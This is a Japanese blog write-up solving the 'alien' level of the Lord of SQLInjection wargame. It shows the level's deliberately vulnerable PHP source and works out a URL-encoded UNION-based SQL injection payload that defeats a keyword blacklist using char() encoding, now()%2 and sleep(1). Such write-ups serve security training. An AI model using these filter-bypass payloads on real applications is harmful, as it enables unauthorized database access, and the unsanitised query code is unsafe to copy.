はまやんはまやんはまやん

hamayanhamayan's blog

alien [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
$query = "select id from prob_alien where no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$query2 = "select id from prob_alien where no='{$_GET[no]}'";
echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") solve("alien");
}
highlight_file(__FILE__);

特徴は以下。

  • noが入力可能
    • admin,and,or,if,coalesce,case,_,.,prob,timeがフィルタリング
  • クエリを2種類作り、4つの関門を通す
    • クエリ1の結果がadminである
    • クエリ1の結果がadminでない
    • クエリ2の結果がadminでない
    • クエリ2の結果がadminである

内容の書き換えは難しそうなので、乱数とか使えばよさそう?
1/16くらいなら何回かやってれば行けそう。
RANDを使おうと思ったら、andが使えないので使えない。

…となると時間か。
1 union select char(97,100,109,105,110) #
とりあえずこれでsandbox2になることを確認。
時間の下一桁を使おう。
1 union select char(97+now()%2,100,109,105,110) #
これをやってみたが、よくよく考えると、秒数変わらないじゃん。waitを入れる必要があるか。
1 union select char(97+now()%2,100,109,105,110) union select sleep(1) #
行けそう。
後ろは文字列だけど、カンマを入れて後ろに同じやつを付ければいい。
つければいいが、後ろはadminである/なしが逆になってるので少し数字を調整する。
1 union select char(97+now()%2,100,109,105,110) union select sleep(1) #' union select char(96+now()%2,100,109,105,110) union select sleep(1) #
+と#はURL-encodingして送ると答え。
1 union select char(97%2bnow()%2,100,109,105,110) union select sleep(1) %23' union select char(96%2bnow()%2,100,109,105,110) union select sleep(1) %23